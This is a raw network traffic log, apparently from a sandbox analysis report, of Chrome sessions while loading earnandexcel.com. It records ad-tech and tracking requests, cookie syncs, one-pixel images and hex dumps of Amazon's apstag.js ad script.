2024-04-11 21:27:03 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
409	192.168.2.17	50241	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	481	OUT	GET /w/1.0/sd?id=537072399&val=3393848220146687847 HTTP/1.1 Host: us-u.openx.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820
2024-04-11 21:27:03 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
410	192.168.2.17	50232	3.225.218.10	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	772	OUT	GET /ups/58749/sync?redir=true&gpp_sid=-1&gpp=DBABzw~1---~BqgAAAAAAgA HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDSYNC=18z8~2ht9; A3=d=AQABBKRVGGYCEC_BlP8b8Gz3toB26nxk_KYFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAip50BDQPzIwlTtm3ffj6-Q
2024-04-11 21:27:03 UTC	797	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="18z8~2ht9:19bx~2ht9";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 11-Apr-2025 21:27:03 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://exchange.mediavine.com/usersync/redirect?partner=verizon&partnerId=y-UQyiIh9E2uJvF5IoIp_LflURMfQTltVc~A&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid=-1 Age: 0 Connection: close Server: ATS/9.1.10.106 Set-Cookie: A3=d=AQABBKRVGGYCEC_BlP8b8Gz3toB26nxk_KYFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAip50BDQPzIwlTtm3ffj6-Q; Expires=Sat, 12 Apr 2025 03:27:03 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
411	192.168.2.17	50233	3.209.218.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	824	OUT	GET /api/v1/dsync/mediavine?exid=3a6574e0-f84a-11ee-a9d1-333cefc92741us_privacy=1---&r=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dkargo%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%24UID HTTP/1.1 Host: crb.kargo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:03 UTC	456	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-cache, no-store, must-revalidate, private, max-age=0 Expires: Thu, 01 Jan 1970 00:00:00 UTC Pragma: no-cache Set-Cookie: ktcid=12d186d5-c065-0a8a-5399-4c540288d0a1; Path=/; Domain=kargo.com; Expires=Fri, 11 Apr 2025 21:27:03 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None Vary: Origin X-Accel-Expires: 0
2024-04-11 21:27:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
412	192.168.2.17	50246	108.138.115.149	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	588	OUT	GET /aax2/apstag.js HTTP/1.1 Host: c.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A3c01U0v-EwcgdxAicOV5rk; ad-privacy=0
2024-04-11 21:27:03 UTC	642	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 305153 Connection: close Date: Thu, 11 Apr 2024 21:27:04 GMT Last-Modified: Wed, 27 Mar 2024 15:16:16 GMT x-amz-server-side-encryption: AES256 Cache-Control: max-age=3600 Accept-Ranges: bytes Server: AmazonS3 Via: 1.1 b471d3775e81a9be536b52b99f39452a.cloudfront.net (CloudFront), 1.1 0667564db9d2ec4ceec667e46b842a9c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD89-C3 ETag: "b9e5bc6ae2304c1ff623d74c6e93fe00" Vary: Accept-Encoding X-Cache: Miss from cloudfront X-Amz-Cf-Pop: JFK50-P3 X-Amz-Cf-Id: KcV9SfG0ds-gG6d6OH4eYvWHauXoO-RS3YpAQSMjJcfRMRbx-QE4TA==
2024-04-11 21:27:03 UTC	15742	IN	Data Raw: 2f 2a 21 20 40 61 6d 7a 6e 2f 61 70 73 77 65 62 61 70 73 74 61 67 6c 69 62 72 61 72 79 20 2d 20 77 65 62 2d 63 6c 69 65 6e 74 2d 62 75 6e 64 6c 65 20 2d 20 76 32 34 2e 33 30 35 2e 31 30 30 32 20 2d 20 32 30 32 34 2d 30 33 2d 30 35 20 31 30 3a 30 32 3a 31 38 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 74 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 26 26 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 65 7d 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 20 69 6e Data Ascii: /! @amzn/apswebapstaglibrary - web-client-bundle - v24.305.1002 - 2024-03-05 10:02:18 /!function(){"use strict";var t=function(e,n){return t=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var n in
2024-04-11 21:27:03 UTC	10807	IN	Data Raw: 61 3b 72 65 74 75 72 6e 20 72 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 74 3d 6e 75 6c 6c 3d 3d 3d 28 69 3d 6e 2e 64 65 74 61 69 6c 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 73 75 63 63 65 73 73 2c 65 2e 75 70 64 61 74 65 28 5f 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 7c 7c 21 30 3d 3d 3d 74 7d 29 29 2c 6f 3d 6e 75 6c 6c 3d 3d 3d 28 61 3d 6e 2e 64 65 74 61 69 6c 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 61 3f 76 6f 69 64 20 30 3a 61 2e 74 63 44 61 74 61 2c 65 2e 75 70 64 61 74 65 28 45 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 3d 6f 7c 7c 21 30 3d 3d 3d 74 3f 6f 3a 65 7d 29 29 2c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 Data Ascii: a;return r(this,(function(r){return t=null===(i=n.detail)\|\|void 0===i?void 0:i.success,e.update(_,(function(e){return e\|\|!0===t})),o=null===(a=n.detail)\|\|void 0===a?void 0:a.tcData,e.update(E,(function(e){return void 0!==o\|\|!0===t?o:e})),"object"!=typeof
2024-04-11 21:27:03 UTC	12852	IN	Data Raw: 73 73 69 6f 6e 49 64 28 29 2c 22 20 7c 20 5b 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2c 22 5d 22 29 7d 2c 74 2e 5f 69 6e 73 74 61 6e 63 65 3d 6e 65 77 20 74 2c 74 2e 5f 73 65 73 73 69 6f 6e 49 64 3d 22 22 2e 63 6f 6e 63 61 74 28 44 61 74 65 2e 6e 6f 77 28 29 29 2c 74 7d 28 29 2c 51 3d 57 2e 49 6e 73 74 61 6e 63 65 28 29 2c 4b 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 6e 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 29 72 65 74 75 72 6e 21 30 3b 76 61 72 20 6f 3d 77 69 6e 64 6f 77 3b 64 6f 7b 69 66 28 74 2e 69 6e 63 6c 75 64 65 73 28 6e 75 6c 6c 3d 3d 3d 28 65 3d 6e 75 6c 6c 3d 3d 6f 3f 76 6f 69 64 20 30 3a 6f 2e 6c 6f 63 61 74 69 6f 6e 29 7c 7c 76 6f 69 Data Ascii: ssionId()," \| [").concat(n.toUpperCase(),"]")},t._instance=new t,t._sessionId="".concat(Date.now()),t}(),Q=W.Instance(),K=function(t){var e,n;if(void 0===t\|\|!Array.isArray(t))return!0;var o=window;do{if(t.includes(null===(e=null==o?void 0:o.location)\|\|voi
2024-04-11 21:27:03 UTC	16384	IN	Data Raw: 74 50 61 72 61 6d 73 26 26 28 6f 2e 73 70 65 63 2e 70 6c 61 63 65 6d 65 6e 74 2e 65 78 74 3d 74 2e 73 6c 6f 74 50 61 72 61 6d 73 29 2c 6f 2e 73 70 65 63 2e 70 6c 61 63 65 6d 65 6e 74 3d 65 28 65 28 7b 7d 2c 6f 2e 73 70 65 63 2e 70 6c 61 63 65 6d 65 6e 74 29 2c 73 74 28 74 29 29 2c 6f 7d 2c 73 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 7d 3b 72 65 74 75 72 6e 20 74 2e 6d 65 64 69 61 54 79 70 65 3d 3d 3d 5a 2e 4d 75 6c 74 69 46 6f 72 6d 61 74 3f 65 3d 6c 74 28 74 2e 6d 75 6c 74 69 46 6f 72 6d 61 74 50 72 6f 70 65 72 74 69 65 73 2c 74 2e 63 6f 6d 70 61 6e 69 6f 6e 73 29 3a 74 2e 6d 65 64 69 61 54 79 70 65 3d 3d 3d 5a 2e 56 69 64 65 6f 3f 28 65 2e 76 69 64 65 6f 3d 7b 7d 2c 76 6f 69 64 20 30 21 3d 3d 74 2e 73 69 7a 65 73 26 26 74 2e 73 69 Data Ascii: tParams&&(o.spec.placement.ext=t.slotParams),o.spec.placement=e(e({},o.spec.placement),st(t)),o},st=function(t){var e={};return t.mediaType===Z.MultiFormat?e=lt(t.multiFormatProperties,t.companions):t.mediaType===Z.Video?(e.video={},void 0!==t.sizes&&t.si
2024-04-11 21:27:03 UTC	16384	IN	Data Raw: 2c 65 29 7d 28 74 2c 6e 29 7d 28 65 2c 75 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 61 64 53 65 72 76 65 72 2c 6f 3d 65 2e 69 74 65 6d 49 64 73 3b 74 2e 72 65 63 6f 72 64 28 47 74 2e 61 64 5f 74 61 72 67 65 74 69 6e 67 5f 61 74 74 61 63 68 2c 7b 69 74 65 6d 49 64 73 3a 6f 2c 61 64 53 65 72 76 65 72 3a 6e 7d 29 7d 3b 74 2e 75 70 64 61 74 65 28 49 74 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 29 29 7d 28 65 29 2c 5b 32 2c 6c 2e 63 6f 6d 70 6c 65 74 65 64 5d 7d 7d 29 29 7d 29 29 7d 5d 2c 5b 47 74 2e 61 64 5f 74 61 72 67 65 74 69 6e 67 5f 61 74 74 61 63 68 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 61 63 63 6f 75 6e 74 2c 6e 3d 74 2e 63 75 Data Ascii: ,e)}(t,n)}(e,u),function(t){var e=function(e){var n=e.adServer,o=e.itemIds;t.record(Gt.ad_targeting_attach,{itemIds:o,adServer:n})};t.update(It,(function(){return e}))}(e),[2,l.completed]}}))}))}],[Gt.ad_targeting_attach,function(t){var e=t.account,n=t.cu
2024-04-11 21:27:03 UTC	16384	IN	Data Raw: 7d 5d 2c 5b 50 65 2e 63 78 6d 5f 70 75 62 6c 69 6e 6b 5f 67 65 74 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 61 63 63 6f 75 6e 74 3b 72 65 74 75 72 6e 20 61 65 28 79 65 2c 65 29 7d 5d 5d 29 2c 41 65 3d 6e 65 77 20 4d 61 70 28 5b 5b 22 61 6e 61 6c 79 74 69 63 73 2f 73 61 6d 70 6c 69 6e 67 2f 73 65 74 22 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 61 63 63 6f 75 6e 74 3b 76 61 72 20 65 3d 74 2e 63 75 73 74 6f 6d 45 76 65 6e 74 3b 72 65 74 75 72 6e 20 6f 28 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 6e 2c 6f 2c 69 2c 61 3b 72 65 74 75 72 6e 20 72 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 28 6e 75 6c 6c Data Ascii: }],[Pe.cxm_publink_get,function(t){var e=t.account;return ae(ye,e)}]]),Ae=new Map([["analytics/sampling/set",function(t){t.account;var e=t.customEvent;return o(void 0,void 0,void 0,(function(){var t,n,o,i,a;return r(this,(function(r){return void 0===(null
2024-04-11 21:27:03 UTC	9396	IN	Data Raw: 7b 76 61 72 20 65 3d 74 2e 69 6e 6e 65 72 57 69 64 74 68 7c 7c 74 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 57 69 64 74 68 7c 7c 74 2e 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 6c 69 65 6e 74 57 69 64 74 68 2c 6e 3d 74 2e 69 6e 6e 65 72 48 65 69 67 68 74 7c 7c 74 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 7c 7c 74 2e 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 3b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 78 22 29 2e 63 6f 6e 63 61 74 28 6e 29 7d 63 61 74 63 68 28 74 29 7b 7d 72 65 74 75 72 6e 22 78 22 7d 66 75 6e 63 74 69 6f 6e 20 70 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 64 65 63 Data Ascii: {var e=t.innerWidth\|\|t.document.documentElement.clientWidth\|\|t.document.body.clientWidth,n=t.innerHeight\|\|t.document.documentElement.clientHeight\|\|t.document.body.clientHeight;return"".concat(e,"x").concat(n)}catch(t){}return"x"}function p(t,e){return dec
2024-04-11 21:27:03 UTC	16384	IN	Data Raw: 2c 65 29 7b 72 65 74 75 72 6e 22 53 45 54 5f 48 4f 53 54 22 21 3d 3d 65 2e 74 79 70 65 3f 73 28 7b 7d 2c 74 29 3a 73 28 73 28 7b 7d 2c 74 29 2c 7b 7d 2c 75 28 7b 7d 2c 65 2e 68 6f 73 74 4e 61 6d 65 2c 65 2e 68 6f 73 74 56 61 6c 75 65 29 29 7d 28 74 2e 68 6f 73 74 73 2c 65 29 2c 69 64 65 6e 74 69 74 79 53 74 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 22 52 45 43 4f 52 44 5f 49 44 45 4e 54 49 54 59 5f 53 54 41 54 45 22 21 3d 3d 65 2e 74 79 70 65 3f 74 3a 73 28 73 28 7b 7d 2c 74 29 2c 7b 7d 2c 75 28 7b 7d 2c 65 2e 76 65 6e 64 6f 72 2c 4f 62 6a 65 63 74 28 69 2e 6b 29 28 74 2c 65 2e 76 65 6e 64 6f 72 29 3f 74 5b 65 2e 76 65 6e 64 6f 72 5d 3a 65 2e 69 64 65 6e 74 69 74 79 53 74 61 74 65 29 29 7d 28 74 2e 69 64 65 6e 74 69 74 79 53 Data Ascii: ,e){return"SET_HOST"!==e.type?s({},t):s(s({},t),{},u({},e.hostName,e.hostValue))}(t.hosts,e),identityState:function(t,e){return"RECORD_IDENTITY_STATE"!==e.type?t:s(s({},t),{},u({},e.vendor,Object(i.k)(t,e.vendor)?t[e.vendor]:e.identityState))}(t.identityS
2024-04-11 21:27:03 UTC	15794	IN	Data Raw: 65 74 75 72 6e 20 65 3d 74 68 69 73 2e 67 6c 6f 62 61 6c 43 6f 6e 74 65 78 74 5b 65 5d 2c 28 6e 3d 28 72 3d 72 7c 7c 65 5b 6e 5d 29 2e 61 70 70 6c 79 28 65 2c 74 29 29 26 26 6e 75 6c 6c 21 3d 6f 26 26 6f 2e 69 73 4a 73 6f 6e 3f 4a 53 4f 4e 2e 70 61 72 73 65 28 6e 29 3a 6e 7d 7d 2c 7b 6b 65 79 3a 22 65 78 65 63 75 74 65 46 75 6e 63 74 69 6f 6e 4f 72 54 68 72 6f 77 4f 6e 45 72 72 6f 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 2c 72 2c 6f 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6e 73 75 72 65 53 74 6f 72 61 67 65 55 73 61 67 65 49 73 41 6c 6c 6f 77 65 64 4f 72 54 68 72 6f 77 4f 6e 45 72 72 6f 72 28 65 2c 6e 2c 74 29 2c 74 68 69 73 2e 65 78 65 63 75 74 65 46 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 2c 72 2c 6f 29 7d 7d 2c 7b 6b 65 Data Ascii: eturn e=this.globalContext[e],(n=(r=r\|\|e[n]).apply(e,t))&&null!=o&&o.isJson?JSON.parse(n):n}},{key:"executeFunctionOrThrowOnError",value:function(t,e,n,r,o){return this.ensureStorageUsageIsAllowedOrThrowOnError(e,n,t),this.executeFunction(t,e,n,r,o)}},{ke
2024-04-11 21:27:03 UTC	16384	IN	Data Raw: 6f 6d 28 74 29 7d 28 74 29 7c 7c 54 28 74 29 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 73 70 72 65 61 64 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 2e 5c 6e 49 6e 20 6f 72 64 65 72 20 74 6f 20 62 65 20 69 74 65 72 61 62 6c 65 2c 20 6e 6f 6e 2d 61 72 72 61 79 20 6f 62 6a 65 63 74 73 20 6d 75 73 74 20 68 61 76 65 20 61 20 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 20 6d 65 74 68 6f 64 2e 22 29 7d 28 29 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 74 2c 65 29 7b 76 61 72 20 6e 2c 72 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 Data Ascii: om(t)}(t)\|\|T(t)\|\|function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function j(t,e){var n,r=Object.keys(t);return Object.getOwnPropertyS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
413	192.168.2.17	50243	52.46.130.91	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	721	OUT	GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=5882fa9d-56ba-8758-80bb-31f28122e829&dcc=t HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw\|t
2024-04-11 21:27:03 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 1VB0RYWDRNC9JHXZ1HEB Set-Cookie: ad-id=A2D_XDx3tU5MhPWHEz8pwhw; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 21:27:03 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 21:27:03 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-04-11 21:27:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
414	192.168.2.17	50244	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	866	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESENQ6H1ciB1fBhQrozbvvrnY&google_cver=1 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; PugT=1712870820
2024-04-11 21:27:03 UTC	669	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 10-Jul-2024 21:27:01 GMT; path=/ Set-Cookie: PugT=1712870821; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:01 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:03 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
415	192.168.2.17	50235	52.207.45.55	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	682	OUT	GET /usersync?b=zem&i=kW4WCHlLKZTPSmfVrwIg&us_privacy=1--- HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
